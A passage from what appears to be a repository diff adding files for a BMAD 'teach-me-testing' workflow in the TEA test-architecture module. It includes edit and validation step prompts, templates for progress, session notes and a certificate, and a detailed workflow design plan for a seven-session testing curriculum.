6. Confirm edit applied successfully
### 3. Validate Edits
After all edits applied:
**Check:**
- Frontmatter still valid
- File references still correct
- Menu handling logic intact
- Step sequence maintained
"**Validation:**
All edits applied successfully:
- {list files modified}
Checking integrity:
- ✅ Frontmatter valid
- ✅ File references correct
- ✅ Menu logic intact
- ✅ Step sequence maintained"
### 4. Summary of Changes
"**Edit Summary:**
**Files Modified:** {count}
{List each file with changes made}
**Changes Applied:**
{Summarize what was changed}
**Workflow Status:** ✅ Edits complete, workflow intact
**Next:** You can run the workflow to test your changes, or run validation mode to check quality."
### 5. Completion
"**Edit Mode Complete!**
The teach-me-testing workflow has been updated.
**Modified files:**
{List paths to modified files}
**Recommended next steps:**
1. Run validation: `bmad run teach-me-testing -v`
2. Test the workflow: `bmad run teach-me-testing`
3. Make additional edits if needed"
**This is the final edit step - workflow ends here.**
---
## 🚨 SUCCESS METRICS
✅ Edits applied to approved files only, changes validated, workflow integrity maintained, user informed of modifications.
**Master Rule:** Show changes, get approval, apply edits, validate integrity.

View File

@@ -0,0 +1,263 @@
---
name: 'step-v-01-validate'
description: 'Validate teach-me-testing workflow quality against BMAD standards'
workflowPath: '../'
checklistFile: '../checklist.md'
validationReport: '{test_artifacts}/workflow-validation/teach-me-testing-validation-{date}.md'
---
# Validate Step 1: Quality Validation
## STEP GOAL:
To systematically validate the teach-me-testing workflow against BMAD quality standards and generate a comprehensive validation report.
## MANDATORY EXECUTION RULES (READ FIRST):
### Universal Rules:
- 🛑 NEVER skip validation checks
- 📖 CRITICAL: Read complete step file before action
- ✅ SPEAK OUTPUT In {communication_language}
### Role Reinforcement:
- ✅ You are a workflow quality assurance specialist
- ✅ Systematic validation against standards
### Step-Specific Rules:
- 🎯 Focus on comprehensive validation
- 🚫 FORBIDDEN to skip any checks
- 💬 Report findings clearly
## EXECUTION PROTOCOLS:
- 🎯 Run all validation checks
- 💾 Generate validation report
- 📖 Provide remediation guidance
## MANDATORY SEQUENCE
### 1. Validation Start
"**Validating Workflow: teach-me-testing**
Running comprehensive quality checks against BMAD standards...
This will validate:
- Foundation structure
- Step file quality (12 CREATE, 2 EDIT, 1 VALIDATE)
- Template quality
- Data file completeness
- Frontmatter compliance
- Menu handling patterns
- State management
- Documentation
**Starting validation...**"
### 2. Foundation Structure Validation
**Check:**
- [ ] workflow.md exists with proper frontmatter
- [ ] Tri-modal routing logic present
- [ ] Configuration loading correct
- [ ] First step path correct
- [ ] Folder structure complete (steps-c/, steps-e/, steps-v/, data/, templates/)
Report findings: Pass/Fail for each check.
### 3. Template Validation
**Check templates/:**
- [ ] progress-template.yaml has complete schema
- [ ] All 7 sessions defined
- [ ] Session status fields present
- [ ] stepsCompleted array present
- [ ] session-notes-template.md has required sections
- [ ] certificate-template.md includes all 7 sessions
Report findings.
### 4. Step File Validation (CREATE Mode)
**For each of 12 steps in steps-c/:**
- [ ] Frontmatter valid (name, description present)
- [ ] All frontmatter variables used in body
- [ ] File references use relative paths correctly
- [ ] Menu handling follows standards
- [ ] Step goal clearly stated
- [ ] MANDATORY SEQUENCE present
- [ ] Success/failure metrics present
- [ ] File size reasonable (<250 lines recommended)
Report findings per step.
### 5. Data File Validation
**Check data/:**
- [ ] curriculum.yaml defines all 7 sessions
- [ ] role-paths.yaml has all 4 roles (QA/Dev/Lead/VP)
- [ ] session-content-map.yaml maps sessions to resources
- [ ] quiz-questions.yaml has questions for sessions 1-6
- [ ] tea-resources-index.yaml has complete documentation index
Report findings.
### 6. Content Quality Validation
**Check session steps:**
- [ ] Teaching content present and comprehensive
- [ ] Role-adapted examples present
- [ ] Quiz questions validate understanding
- [ ] TEA resource references correct
- [ ] Knowledge fragment references accurate
- [ ] Online URLs functional
Report findings.
### 7. State Management Validation
**Check continuable workflow features:**
- [ ] step-01-init checks for existing progress
- [ ] step-01b-continue loads and displays progress
- [ ] All session steps update stepsCompleted array
- [ ] Progress file schema matches template
- [ ] Session menu reads progress correctly
- [ ] Completion step verifies all sessions done
Report findings.
### 8. User Experience Validation
**Check UX:**
- [ ] Clear navigation instructions
- [ ] Progress visibility (percentage, indicators)
- [ ] Auto-save after sessions
- [ ] Resume capability
- [ ] Exit options clear
- [ ] Session descriptions helpful
Report findings.
### 9. Generate Validation Report
Create {validationReport}:
```markdown
---
workflow: teach-me-testing
validation_date: { current_date }
validator: TEA Validation Workflow
overall_status: PASS / FAIL / PASS_WITH_WARNINGS
---
# Teach Me Testing - Validation Report
**Date:** {current_date}
**Workflow Version:** 1.0.0
**Overall Status:** {status}
---
## Validation Summary
**Total Checks:** {count}
**Passed:** {pass_count}
**Failed:** {fail_count}
**Warnings:** {warning_count}
**Overall Quality Score:** {score}/100
---
## Foundation Structure
{Report findings}
## Template Quality
{Report findings}
## Step File Quality
{Report findings for all 15 steps}
## Data File Quality
{Report findings}
## Content Quality
{Report findings}
## State Management
{Report findings}
## User Experience
{Report findings}
---
## Issues Found
{List all failures and warnings}
---
## Remediation Recommendations
{For each issue, provide fix guidance}
---
## Conclusion
{Overall assessment}
**Status:** {READY_FOR_PRODUCTION / NEEDS_FIXES / PASS_WITH_MINOR_ISSUES}
```
### 10. Display Results
"**Validation Complete!**
**Overall Status:** {status}
**Quality Score:** {score}/100
**Report saved:** {validationReport}
{If PASS:}
**Workflow is ready for production!**
{If FAIL:}
**Issues found that need fixing.**
See report for details: {validationReport}
{If WARNINGS:}
**Minor issues found.**
Workflow is usable but could be improved.
**Validation report generated.**"
**This is the final validation step - workflow ends here.**
---
## 🚨 SUCCESS METRICS
All validation checks run, comprehensive report generated, issues identified with remediation guidance, overall status determined.
**Master Rule:** Check everything systematically, report findings clearly, provide actionable remediation.

View File

@@ -0,0 +1,86 @@
---
certificate_type: tea-academy-completion
user: { { user_name } }
role: { { role } }
completion_date: { { completion_date } }
started_date: { { started_date } }
total_duration: { { total_duration } }
average_score: { { average_score } }
---
# 🏆 TEA Academy Completion Certificate
---
## Certificate of Completion
**This certifies that**
## {{user_name}}
**has successfully completed the TEA Academy testing curriculum**
---
### Program Details
**Role:** {{role}}
**Started:** {{started_date}}
**Completed:** {{completion_date}}
**Total Duration:** {{total_duration}}
**Average Score:** {{average_score}}/100
---
### Sessions Completed
**Session 1:** Quick Start (30 min) - Score: {{session_01_score}}
**Session 2:** Core Concepts (45 min) - Score: {{session_02_score}}
**Session 3:** Architecture & Patterns (60 min) - Score: {{session_03_score}}
**Session 4:** Test Design (60 min) - Score: {{session_04_score}}
**Session 5:** ATDD & Automate (60 min) - Score: {{session_05_score}}
**Session 6:** Quality & Trace (45 min) - Score: {{session_06_score}}
**Session 7:** Advanced Patterns (ongoing) - Score: {{session_07_score}}
---
### Skills Acquired
{{user_name}} has demonstrated proficiency in:
-**Testing Fundamentals:** Risk-based testing, test pyramid, test types
-**TEA Methodology:** 9 workflows, engagement models, quality standards
-**Architecture Patterns:** Fixtures, network-first patterns, data factories
-**Test Design:** Risk assessment, coverage planning, P0-P3 prioritization
-**Test Development:** ATDD red-green approach, test automation
-**Quality Assurance:** Test review, traceability, NFR assessment
-**Advanced Techniques:** 35 knowledge fragments explored
---
### Learning Artifacts
All session notes and progress tracking available at:
`{{artifacts_path}}`
---
### Next Steps
**Recommended Actions:**
1. Apply TEA principles to current project
2. Run TEA workflows (Framework, Test Design, ATDD, Automate)
3. Share knowledge with team members
4. Continue exploring knowledge fragments as needed
5. Contribute to TEA methodology improvements
---
**Generated by:** TEA Academy - Teach Me Testing Workflow
**Module:** Test Architecture Enterprise (TEA)
**Website:** <https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/>
---
🧪 **Master Test Architect and Quality Advisor**

View File

@@ -0,0 +1,95 @@
---
# TEA Academy Progress Tracking
# This file tracks a learner's progress through the teaching workflow
# User Information
user: "{{user_name}}"
role: "{{role}}" # qa | dev | lead | vp
experience_level: "{{experience_level}}" # beginner | intermediate | experienced
learning_goals: "{{learning_goals}}"
pain_points: "{{pain_points}}" # optional
# Session Tracking
started_date: "{{current_date}}"
last_session_date: "{{current_date}}"
# Session Array - tracks completion status for all 7 sessions
sessions:
- id: session-01-quickstart
name: "Quick Start"
duration: "30 min"
status: not-started # not-started | in-progress | completed
started_date: null
completed_date: null
score: null # 0-100
notes_artifact: null
- id: session-02-concepts
name: "Core Concepts"
duration: "45 min"
status: not-started
started_date: null
completed_date: null
score: null
notes_artifact: null
- id: session-03-architecture
name: "Architecture & Patterns"
duration: "60 min"
status: not-started
started_date: null
completed_date: null
score: null
notes_artifact: null
- id: session-04-test-design
name: "Test Design"
duration: "60 min"
status: not-started
started_date: null
completed_date: null
score: null
notes_artifact: null
- id: session-05-atdd-automate
name: "ATDD & Automate"
duration: "60 min"
status: not-started
started_date: null
completed_date: null
score: null
notes_artifact: null
- id: session-06-quality-trace
name: "Quality & Trace"
duration: "45 min"
status: not-started
started_date: null
completed_date: null
score: null
notes_artifact: null
- id: session-07-advanced
name: "Advanced Patterns"
duration: "ongoing"
status: not-started
started_date: null
completed_date: null
score: null
notes_artifact: null
# Progress Metrics
sessions_completed: 0
total_sessions: 7
completion_percentage: 0
next_recommended: session-01-quickstart
# Workflow Continuation Tracking (for continuable workflow)
stepsCompleted: []
lastStep: ""
lastContinued: ""
# Completion Certificate
certificate_generated: false
certificate_path: null
completion_date: null

View File

@@ -0,0 +1,83 @@
---
session_id: { { session_id } }
session_name: { { session_name } }
user: { { user_name } }
role: { { role } }
completed_date: { { completed_date } }
score: { { score } }
duration: { { duration } }
---
# {{session_name}} - Session Notes
**Learner:** {{user_name}} ({{role}})
**Completed:** {{completed_date}}
**Score:** {{score}}/100
**Duration:** {{duration}}
---
## Session Objectives
{{session_objectives}}
---
## Key Concepts Covered
{{key_concepts}}
---
## TEA Resources Referenced
### Documentation
{{docs_referenced}}
### Knowledge Fragments
{{knowledge_fragments_referenced}}
### Online Resources
{{online_resources}}
---
## Quiz Results
**Score:** {{score}}/100
### Questions & Answers
{{quiz_results}}
---
## Practical Examples
{{practical_examples}}
---
## Key Takeaways
{{key_takeaways}}
---
## Next Recommended Session
{{next_recommended}}
---
## Additional Notes
{{additional_notes}}
---
**Generated by:** TEA Academy - Teach Me Testing Workflow
**Session Path:** Session {{session_number}} of 7

View File

@@ -0,0 +1,950 @@
---
stepsCompleted:
[
'step-01-discovery',
'step-02-classification',
'step-03-requirements',
'step-04-tools',
'step-05-plan-review',
'step-06-design',
'step-07-foundation',
]
created: 2026-01-27
status: FOUNDATION_COMPLETE
approvedDate: 2026-01-27
designCompletedDate: 2026-01-27
foundationCompletedDate: 2026-01-28
---
# Workflow Creation Plan
## Discovery Notes
**User's Vision:**
Create an ongoing learning companion that teaches testing progressively through a structured curriculum. Users at the company (and beyond) lack testing knowledge regardless of experience level - from hobbyist beginners to experienced VPs. The TEA (Test Architecture Enterprise) module has extensive documentation (~24k lines, 200 files, 9 workflows, 35 knowledge fragments), but manual teaching doesn't scale. This workflow solves that by providing self-paced, structured learning with state persistence across multiple sessions.
**Who It's For:**
- New QA engineers (primary onboarding use case)
- Developers who need testing knowledge
- Anyone at the company requiring testing fundamentals through advanced practices
- Scalable to entire team without manual teaching
**What It Produces:**
- Multi-session learning journey (7 sessions, 30-90 min each)
- Session-by-session progress tracking via persistent state file
- Learning artifacts: session notes, test files, reports, completion certificate
- Personalized learning paths customized by role (QA vs Dev vs Lead vs VP)
- Knowledge validation through quizzes after each session
- Resume capability - users can pause and continue across days/weeks
**Key Insights:**
- Content volume (~24k lines) makes single-session teaching infeasible
- State persistence is critical for multi-session continuity
- Just-in-time content loading per session keeps context manageable
- First use case: new QA onboarding completing in 1-2 weeks
- Workflow must reference and integrate TEA docs and knowledge base extensively
- Users learn at their own pace without requiring instructor availability
**Technical Architecture Requirements:**
- 7-session curriculum structure
- State file: tracks progress, scores, completed sessions, artifacts, next recommended session
- Role-based path customization
- Knowledge validation gates between sessions
- Artifact generation per session
- Integration with TEA module documentation and knowledge base
## Classification Decisions
**Workflow Name:** teach-me-testing
**Target Path:** {project-root}/src/workflows/testarch/bmad-teach-me-testing/
**4 Key Decisions:**
1. **Document Output:** Yes (produces progress files, session notes, artifacts, completion certificate)
2. **Module Affiliation:** TEA module (9th workflow in test architecture)
3. **Session Type:** Continuable (multi-session learning over 1-2 weeks)
4. **Lifecycle Support:** Tri-modal (Create + Edit + Validate for future-proofing)
**Structure Implications:**
- **Tri-modal architecture:** Needs `steps-c/`, `steps-e/`, `steps-v/` folders
- **Continuable workflow:** Requires `step-01-init.md` with continuation detection + `step-01b-continue.md` for resuming
- **State tracking:** Uses `stepsCompleted` in progress file frontmatter
- **Document templates:** Progress tracking YAML, session notes markdown, completion certificate
- **Module integration:** Access to TEA module variables, docs paths, knowledge base paths
- **Data folder:** Shared data for curriculum structure, role paths, session content mappings
## Requirements
**Flow Structure:**
- Pattern: Mixed (non-linear between sessions, linear within sessions, branching at start only)
- Phases: Initial assessment → Session selection (non-linear) → Session execution (linear: teach → quiz → artifact) → Completion
- Estimated steps: Init + Continue + Assessment + 7 Session steps + Final Polish/Certificate generation = ~10-12 core step files
- Session jumping: Users can skip to any session based on experience level
- Within session: Strictly linear progression through teaching content
**User Interaction:**
- Style: Mixed (mostly autonomous teaching with collaborative decision points)
- Decision points:
- Role/experience assessment (entry)
- Session selection (menu-driven, can jump around)
- Quiz answers (validation gates)
- Continue to next session or exit
- Checkpoint frequency: At session completion (save progress, offer continue/exit)
- Teaching approach: AI presents content, user absorbs - minimal interruption once learning
**Inputs Required:**
- Required:
- User role (QA, Dev, Lead, VP)
- Experience level (beginner, intermediate, experienced)
- Learning goals (fundamentals, TEA-specific, advanced patterns)
- Optional:
- Existing project for practical examples
- Specific pain points (flaky tests, slow tests, hard to maintain)
- Prerequisites:
- TEA module installed
- Access to TEA docs and knowledge base
- Understanding of time commitment (30-90 min per session)
**Output Specifications:**
- Type: Multiple document types
- Format: Mixed formats
- Progress file: Structured YAML with specific schema (sessions, scores, artifacts, completed_date, next_recommended)
- Session notes: Free-form markdown built progressively per session
- Completion certificate: Structured format with completion data
- Sections:
- Progress file has fixed schema
- Session notes vary by session content
- Certificate has standard completion fields
- Frequency:
- Progress file: Updated after each session
- Session notes: Generated per session
- Certificate: Generated at final completion
**Success Criteria:**
- User completes their chosen sessions (might be 1, might be all 7)
- Knowledge validated through quizzes (≥70% passing threshold)
- Artifacts generated successfully (progress file exists, session notes created, learning tracked)
- User can apply knowledge (write their first good test following TEA principles)
- Onboarding velocity achieved (new QAs complete core sessions within 1-2 weeks)
- Scalability proven (multiple team members learn without requiring instructor time)
**Instruction Style:**
- Overall: Mixed (prescriptive for structure, intent-based for teaching)
- Prescriptive for:
- Initial assessment (consistent role/experience classification)
- Quiz questions (need exact validation logic)
- Progress tracking (exact state file updates)
- Session navigation (clear menu structure)
- Intent-based for:
- Teaching sessions (AI adapts explanations naturally)
- Example selection (AI chooses relevant TEA docs/knowledge fragments)
- Artifact generation (AI synthesizes learning into notes)
- Role-flavored content (AI adjusts examples based on user role)
## Tools Configuration
**Core BMAD Tools:**
- **Party Mode:** Included (optional via A/P menu) - Use for collaborative exploration when the learner wants a lighter format
- **Advanced Elicitation:** Included (optional via A/P menu) - Use for deeper discovery or clarification during sessions
- **Brainstorming:** Excluded - Not needed for structured curriculum delivery
**LLM Features:**
- **Web-Browsing:** Included - Use case: Safety net for framework updates (Cypress, Jest, newer Playwright versions) and frameworks not covered in TEA docs. Motto: "Only reach out when you don't have the info"
- **File I/O:** Included - Operations: Read TEA docs (/docs/_.md), read knowledge fragments (/src/testarch/knowledge/_.md), write progress file ({user}-tea-progress.yaml), write session notes, write completion certificate
- **Sub-Agents:** Excluded - Sessions are linear teaching steps handled by TEA agent, not complex specialized tasks requiring delegation
- **Sub-Processes:** Excluded - Learning is sequential (one session at a time), no parallel processing needed
**Memory:**
- Type: Continuable workflow with persistent state
- Tracking:
- `stepsCompleted` array in progress YAML
- Session completion tracking (id, status, completed_date, score, artifacts)
- Progress metrics (completion_percentage, next_recommended)
- Progress file structure:
```yaml
user: { user_name }
role: { qa/dev/lead/vp }
sessions: [{ id, status, completed_date, score, artifacts }]
completion_percentage: { percent }
next_recommended: { session-id }
```
- Continuation support via step-01b-continue.md with progress dashboard
**External Integrations:**
- None - Self-contained within TEA module, no external databases/APIs/MCP servers needed
**Installation Requirements:**
- None - All selected tools are built-in (Web-Browsing and File I/O are standard LLM features)
- User preference: N/A (no installations required)
## Workflow Design
### Complete Flow Overview
**Entry → Init (check for progress) → [New User: Assessment | Returning User: Dashboard] → Session Menu (hub) → Sessions 1-7 (loop back to menu) → Completion Certificate**
### Step Structure (CREATE mode - steps-c/)
**Total: 12 step files**
#### Phase 1: Initialization & Continuation
1. **step-01-init.md** (Init Step - Continuable)
- Goal: Welcome user, check for existing progress file, explain workflow, create initial progress if new
- Type: Init (Continuable) - checks for `{user}-tea-progress.yaml`, routes to step-01b if exists
- Menu: Auto-proceed (Pattern 3) - no user menu
- Logic: Checks for existing progress → routes to step-01b if exists, otherwise creates new and proceeds to step-02
2. **step-01b-continue.md** (Continuation Step)
- Goal: Load existing progress, show dashboard with completion status, route to session menu
- Type: Continuation - reads `stepsCompleted`, displays progress percentage
- Menu: Auto-proceed (Pattern 3) - no user menu
- Logic: Shows progress dashboard → auto-routes to step-03-session-menu
#### Phase 2: Assessment & Path Selection
3. **step-02-assess.md** (Middle Step - Standard)
- Goal: Gather role (QA/Dev/Lead/VP), experience level, learning goals, optional pain points
- Type: Middle (Standard) auto-proceed
- Menu: Auto-proceed (Pattern 3) - no user menu
- On completion: Saves assessment to progress file → loads step-03-session-menu
4. **step-03-session-menu.md** (Branch Step - Hub)
- Goal: Present 7 sessions with descriptions + completion status, allow non-linear selection
- Type: Branch Step (custom menu: 1-7, X for exit)
- Menu: Custom branching (Pattern 4)
- Display: [1-7] Select session | [X] Exit
- Logic:
- 1-7: Routes to corresponding session step
- X: If all sessions complete → routes to step-05-completion; if incomplete → saves and exits
- **This is the hub - all sessions return here**
#### Phase 3: Session Execution (7 Sessions)
5-11. **step-04-session-[01-07].md** (Middle Steps - Complex)
- Each session follows same pattern:
- Loads relevant TEA docs just-in-time
- Presents teaching content (mostly autonomous)
- Knowledge validation quiz (collaborative)
- Generates session notes artifact
- Updates progress file
- Returns to step-03-session-menu
- Menu: Standard A/P/C (Pattern 1) - users might want Advanced Elicitation
- On C: Saves session notes, updates progress (mark complete, update score), returns to hub
**Sessions:**
- **session-01**: Quick Start (30 min) - TEA Lite intro, run automate workflow
- **session-02**: Core Concepts (45 min) - Risk-based testing, DoD, philosophy
- **session-03**: Architecture (60 min) - Fixtures, network patterns, framework
- **session-04**: Test Design (60 min) - Risk assessment workflow
- **session-05**: ATDD & Automate (60 min) - ATDD + Automate workflows
- **session-06**: Quality & Trace (45 min) - Test review + Trace workflows
- **session-07**: Advanced Patterns (ongoing) - Menu-driven knowledge fragment exploration
#### Phase 4: Completion
12. **step-05-completion.md** (Final Step)
- Goal: Generate completion certificate, final progress update, congratulate
- Type: Final - no nextStepFile, marks workflow complete
- Menu: None (final step)
- Logic: Generates certificate, displays congratulations, workflow ends
### Interaction Patterns
- **Auto-proceed steps:** step-01-init, step-01b-continue, step-02-assess
- **Standard A/P/C:** step-04-session-[01-07]
- **Custom branching:** step-03-session-menu (hub)
- **No menu:** step-05-completion (final)
### Data Flow
**Progress File:** `{test_artifacts}/teaching-progress/{user_name}-tea-progress.yaml`
**Schema:**
```yaml
user: { user_name }
role: { qa/dev/lead/vp }
experience_level: { beginner/intermediate/experienced }
learning_goals: [list]
pain_points: [optional list]
started_date: 2026-01-27
last_session_date: 2026-01-27
sessions:
- id: session-01-quickstart
status: completed
completed_date: 2026-01-27
score: 90
notes_artifact: '{test_artifacts}/tea-academy/{user_name}/session-01-notes.md'
- id: session-02-concepts
status: in-progress
started_date: 2026-01-27
# ... sessions 03-07
sessions_completed: 1
total_sessions: 7
completion_percentage: 14
next_recommended: session-02-concepts
stepsCompleted: ['step-01-init', 'step-02-assess', 'step-04-session-01']
lastStep: 'step-04-session-01'
lastContinued: '2026-01-27'
```
**Data Flow Per Step:**
- **step-01-init:** Creates initial progress YAML if new
- **step-01b-continue:** Reads progress file, updates lastContinued
- **step-02-assess:** Updates role, experience, goals, pain_points
- **step-03-session-menu:** Reads sessions array (display status)
- **step-04-session-[N]:** Reads progress (for role), writes session notes, updates sessions array
- **step-05-completion:** Reads all sessions data, writes certificate
**Error Handling:**
- Quiz failure (<70%): Offer review or continue anyway
- Missing TEA docs: Use Web-Browsing fallback
- Corrupted progress: Backup and offer fresh start
- Session interrupted: Auto-save after quiz completion
**Checkpoints:**
- After assessment complete
- After each quiz completion
- After each session artifact generation
- On user exit from session menu
### File Structure
```
teach-me-testing/
├── workflow.md # Main entry point
├── workflow.yaml # Workflow metadata
├── steps-c/ # CREATE mode (12 steps)
│ ├── step-01-init.md
│ ├── step-01b-continue.md
│ ├── step-02-assess.md
│ ├── step-03-session-menu.md
│ ├── step-04-session-01.md
│ ├── step-04-session-02.md
│ ├── step-04-session-03.md
│ ├── step-04-session-04.md
│ ├── step-04-session-05.md
│ ├── step-04-session-06.md
│ ├── step-04-session-07.md
│ └── step-05-completion.md
├── steps-e/ # EDIT mode (2 steps)
│ ├── step-e-01-assess-workflow.md
│ └── step-e-02-apply-edits.md
├── steps-v/ # VALIDATE mode (1 step)
│ └── step-v-01-validate.md
├── data/ # Shared data files
│ ├── curriculum.yaml
│ ├── role-paths.yaml
│ ├── session-content-map.yaml
│ ├── quiz-questions.yaml
│ └── tea-resources-index.yaml
├── templates/ # Document templates
│ ├── progress-template.yaml
│ ├── session-notes-template.md
│ └── certificate-template.md
├── instructions.md
└── checklist.md
```
### Role and Persona Definition
**AI Role:** Master Test Architect and Teaching Guide
**Expertise:**
- Deep knowledge of testing principles (risk-based, test pyramid, types)
- Expert in TEA methodology (9 workflows, architecture patterns, 35 knowledge fragments)
- Familiar with Playwright, test automation, CI/CD
- Teaching pedagogy: progressive learning, knowledge validation, role-based examples
**Communication Style:**
- **Teaching:** Clear, patient, educational - adapts complexity by role
- **Quizzes:** Encouraging, constructive feedback, non-judgmental
- **Navigation:** Clear, concise, shows completion status prominently
- **Tone:** Encouraging but not patronizing, technical but accessible
**Teaching Principles:**
1. Just-in-time learning (load content when needed)
2. Active recall (quiz after teaching)
3. Spaced repetition (reference earlier concepts)
4. Role-flavored examples (same concept, different contexts)
5. Artifact generation (learners keep notes)
### Validation and Error Handling
**Output Validation:**
- Progress file: Schema, status, score (0-100), date, artifact paths
- Session notes: Frontmatter present, content not empty (min 100 chars)
- Certificate: All 7 sessions complete, valid dates, user info present
**User Input Validation:**
- Role: Must be QA, Dev, Lead, or VP
- Experience: beginner, intermediate, or experienced
- Quiz answers: 3 attempts before showing correct answer
- Session selection: Must be 1-7 or X
**Error Recovery:**
- Corrupted progress: Backup, offer fresh start
- Missing docs: Web-Browsing fallback
- Quiz failure: Review or continue options
- Interrupted session: Auto-save progress
**Success Criteria:**
- Session complete: Content presented, quiz passed, notes generated, progress updated
- Workflow complete: All 7 sessions done, avg score ≥70%, artifacts created, certificate generated
### Special Features
**Conditional Logic:**
- Session menu routing: Check if all complete → route to completion or show menu
- Quiz scoring: If ≥70% proceed, if <70% offer review
**Branch Points:**
- Initial entry: Progress exists? → continue vs new
- Experience-based recommendations: Beginner → session 1, Experienced → session 7
**Integration with TEA Workflows:**
- Session 1: Demonstrates [TA] Automate
- Session 3: May run [TF] Framework
- Session 4: Runs [TD] Test Design
- Session 5: Runs [AT] ATDD + [TA] Automate
- Session 6: Runs [RV] Test Review + [TR] Trace
**Role-Based Content:**
- QA: Practical testing focus
- Dev: Integration and TDD focus
- Lead: Architecture and patterns focus
- VP: Strategy and metrics focus
**Session 7 Special Handling:**
- Exploratory menu-driven deep-dive into 35 knowledge fragments
- Organized by categories (Testing Patterns, Playwright Utils, Config/Governance, etc.)
- Links to GitHub for browsing
**Content Sources (Triple Reference System):**
- Local files: `/docs/*.md`, `/src/testarch/knowledge/*.md`
- Online docs: `<https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/`>
- GitHub fragments: Direct links to knowledge fragment source files
### Design Summary
**Complete:** 12-step CREATE workflow with hub pattern
**Continuable:** Progress file tracks state across sessions
**Non-linear:** Users jump to any session from hub
**Role-flavored:** Same concepts, role-specific examples
**Triple content:** Local + online + GitHub sources
**Web-Browsing:** Fallback for missing/updated docs
**Auto-save:** After each session completion
**Tri-modal:** Create (12 steps) + Edit (2 steps) + Validate (1 step)
## Foundation Build Complete
**Created:** 2026-01-28
**Folder Structure:**
```
teach-me-testing/
├── workflow.md ✓ Created
├── steps-c/ ✓ Created (empty, to be populated)
├── steps-e/ ✓ Created (empty, to be populated)
├── steps-v/ ✓ Created (empty, to be populated)
├── data/ ✓ Created (empty, to be populated)
├── templates/ ✓ Created
│ ├── progress-template.yaml ✓ Created
│ ├── session-notes-template.md ✓ Created
│ └── certificate-template.md ✓ Created
├── instructions.md ✓ Created
└── checklist.md ✓ Created
```
**Location:** {external-project-root}/\_bmad-output/bmb-creations/workflows/teach-me-testing/
**Configuration:**
- Workflow name: teach-me-testing
- Continuable: Yes (multi-session learning)
- Document output: Yes (Progress YAML, Session notes MD, Certificate MD)
- Mode: Tri-modal (Create + Edit + Validate)
- Module: TEA (Test Architecture Enterprise)
**Files Created:**
1. **workflow.md**
- Tri-modal routing logic (Create/Edit/Validate)
- Configuration loading from TEA module
- Step-file architecture principles
- Initialization sequence
2. **templates/progress-template.yaml**
- Complete progress tracking schema
- 7 sessions defined
- Session status tracking (not-started/in-progress/completed)
- stepsCompleted array for continuation
- Progress metrics (completion_percentage, next_recommended)
3. **templates/session-notes-template.md**
- Session metadata
- Key concepts, objectives, takeaways
- TEA resources referenced
- Quiz results
- Practical examples
4. **templates/certificate-template.md**
- Completion certificate structure
- All 7 sessions with scores
- Skills acquired checklist
- Learning artifacts paths
- Next steps recommendations
5. **instructions.md**
- How to run the workflow
- Session structure and flow
- Progress tracking details
- Troubleshooting guide
6. **checklist.md**
- Quality validation checklist
- Foundation quality checks
- Step file quality standards
- Data file quality requirements
- Completion criteria
**Next Steps:**
- Step 8: Build step-01-init.md (initialization with continuation detection)
- Step 9: Build step-01b-continue.md (continuation/resume logic)
- Step 10+: Build remaining 10 step files (assessment, session menu, 7 sessions, completion)
- Populate data/ folder with curriculum, role paths, session content map, quizzes, resources index
## Step 01 Build Complete
**Created:** 2026-01-28
**Files:**
- `steps-c/step-01-init.md` ✓
- `steps-c/step-01b-continue.md` ✓
**Step Configuration:**
- **Type:** Continuable (multi-session learning)
- **Input Discovery:** No (self-contained teaching)
- **Progress File:** `{test_artifacts}/teaching-progress/{user_name}-tea-progress.yaml`
- **Menu Pattern:** Auto-proceed (no user menu)
**step-01-init.md:**
- Checks for existing progress file
- If exists → routes to step-01b-continue
- If not → creates new progress from template, proceeds to step-02-assess
- Initializes stepsCompleted array
- Creates complete session tracking structure (all 7 sessions)
**step-01b-continue.md:**
- Loads existing progress file
- Updates lastContinued timestamp
- Displays progress dashboard with completion status
- Shows session indicators (✅ completed, 🔄 in-progress, ⬜ not-started)
- Auto-routes to step-03-session-menu (hub)
**Frontmatter Compliance:**
- All variables used in step body
- Relative paths for internal references
- No hardcoded paths
- Follows frontmatter standards
**Next Steps:**
- Build step-02-assess.md (assessment)
- Build step-03-session-menu.md (hub)
- Build 7 session steps (step-04-session-01 through step-04-session-07)
- Build step-05-completion.md (certificate generation)
## Step 02 Build Complete
**Created:** 2026-01-28
**Files:**
- `steps-c/step-02-assess.md` ✓
**Step Configuration:**
- **Type:** Middle Step (Standard) auto-proceed
- **Next Step:** step-03-session-menu
- **Menu Pattern:** Auto-proceed (Pattern 3) - no user menu
**step-02-assess.md:**
- Gathers role (QA/Dev/Lead/VP) with validation
- Gathers experience level (beginner/intermediate/experienced) with validation
- Gathers learning goals (required, validated)
- Gathers pain points (optional)
- Updates progress file with all assessment data
- Provides experience-based session recommendations
- Updates stepsCompleted array with 'step-02-assess'
- Routes to step-03-session-menu (hub)
**Frontmatter Compliance:**
- All variables used in step body
- Relative paths for internal references
- No hardcoded paths
- Follows frontmatter standards
**Remaining Steps:** 9 more to build
- step-03-session-menu (hub with branching)
- step-04-session-01 through step-04-session-07 (7 teaching sessions)
- step-05-completion (certificate generation)
## Step 03 Build Complete
**Created:** 2026-01-28
**Files:**
- `steps-c/step-03-session-menu.md` ✓
**Step Configuration:**
- **Type:** Branch Step (Hub) with custom menu (1-7, X)
- **Routes To:** Any of 7 sessions OR completion OR exit
- **Menu Pattern:** Custom branching (Pattern 4)
**step-03-session-menu.md:**
- Loads progress file to get session completion status
- Displays all 7 sessions with status indicators (✅ completed, 🔄 in-progress, ⬜ not-started)
- Shows completion percentage and scores
- Provides session descriptions and durations
- Recommends next session based on progress
- Detects when all 7 sessions complete → routes to completion
- Allows non-linear session selection (jump to any session)
- Exit option (X) saves progress and ends workflow
- This is the HUB - all sessions return here
- No stepsCompleted update (routing hub, not content step)
**Routing Logic:**
- 1-7 → Routes to corresponding session step
- X → Saves and exits workflow
- All complete → Auto-routes to step-05-completion
**Frontmatter Compliance:**
- All 7 session file references used in routing logic
- Completion file reference used for all-done scenario
- Progress file loaded for status display
- Relative paths for all step files
**Remaining Steps:** 8 more to build
- step-04-session-01 through step-04-session-07 (7 teaching sessions)
- step-05-completion (certificate generation)
## Step 04-Session-01 Build Complete
**Created:** 2026-01-28
**Files:**
- `steps-c/step-04-session-01.md` ✓
**Step Configuration:**
- **Type:** Middle Step (Complex) with A/P/C menu
- **Session:** Quick Start (30 min)
- **Next Step:** Returns to step-03-session-menu (hub)
- **Menu Pattern:** Standard A/P/C (Pattern 1)
**step-04-session-01.md:**
